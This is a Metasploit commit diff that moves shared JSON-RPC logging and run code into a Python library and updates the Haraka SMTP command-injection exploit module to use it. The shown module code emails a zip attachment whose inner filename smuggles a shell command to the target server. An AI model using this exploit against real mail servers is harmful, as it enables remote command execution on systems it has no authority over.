move common json-rpc bits to a library

This commit is contained in:
Brent Cook
2017-04-01 06:25:51 -05:00
committed by Brent Cook
parent b0d6e12e9e
commit 037fdf854e
5 changed files with 39 additions and 25 deletions
+3
View File
@@ -88,3 +88,6 @@ data/meterpreter/ext_server_pivot.*.dll
# local docker compose overrides
docker-compose.local*
# Ignore python bytecode
*.pyc
+5 -1
View File
@@ -36,12 +36,16 @@ class Msf::Modules::External::Bridge
def initialize(module_path)
self.running = false
self.path = module_path
self.env = {
'PYTHONPATH' => File.expand_path('../python', __FILE__)
}
end
protected
attr_writer :path, :running
attr_accessor :ios
attr_accessor :env
def describe
resp = send_receive(Msf::Modules::External::Message.new(:describe))
@@ -57,7 +61,7 @@ class Msf::Modules::External::Bridge
end
def send(message)
input, output, status = ::Open3.popen3([self.path, self.path])
input, output, status = ::Open3.popen3(env, [self.path, self.path])
self.ios = [input, output, status]
case Rex::ThreadSafe.select(nil, [input], nil, 0.1)
when nil
@@ -0,0 +1,20 @@
import sys, os, json
def log(message, level='info'):
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level,
'message': message
}}))
sys.stdout.flush()
def run(metadata, exploit):
req = json.loads(os.read(0, 10000))
if req['method'] == 'describe':
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
elif req['method'] == 'run':
args = req['params']
exploit(args)
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed'
}}))
sys.stdout.flush()
+11 -24
View File
@@ -19,7 +19,7 @@ from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import sys, os, json
from metasploit import module
metadata = {
'name': 'Haraka SMTP Command Injection',
@@ -47,13 +47,6 @@ metadata = {
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
}}
def log(message, level='info'):
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level,
'message': message
}}))
sys.stdout.flush()
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
@@ -62,21 +55,21 @@ def send_mail(to, mailserver, cmd, mfrom, port):
msg['To'] = to
f = "harakiri.zip"
msg.attach(MIMEText(html))
log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
module.log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
msg.attach(part)
log("Sending mail to target server...")
log(msg.as_string(), 'debug')
module.log("Sending mail to target server...")
module.log(msg.as_string(), 'debug')
s = smtplib.SMTP(mailserver, port)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError as err:
if err[0] == 450:
log("Triggered bug in target server (%s)"%err[1], 'good')
module.log("Triggered bug in target server (%s)"%err[1], 'good')
return(True)
log("Bug not triggered in target server", 'error')
log("it may not be vulnerable or have the attachment plugin activated", 'error')
module.log("Bug not triggered in target server", 'error')
module.log("it may not be vulnerable or have the attachment plugin activated", 'error')
s.close()
return(False)
@@ -101,14 +94,8 @@ def create_zip(cmd="touch /tmp/harakiri"):
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
return(z1.read())
if __name__ == '__main__':
req = json.loads(os.read(0, 10000))
if req['method'] == 'describe':
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
elif req['method'] == 'run':
args = req['params']
def exploit(args):
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed'
}}))
sys.stdout.flush()
if __name__ == '__main__':
module.run(metadata, exploit)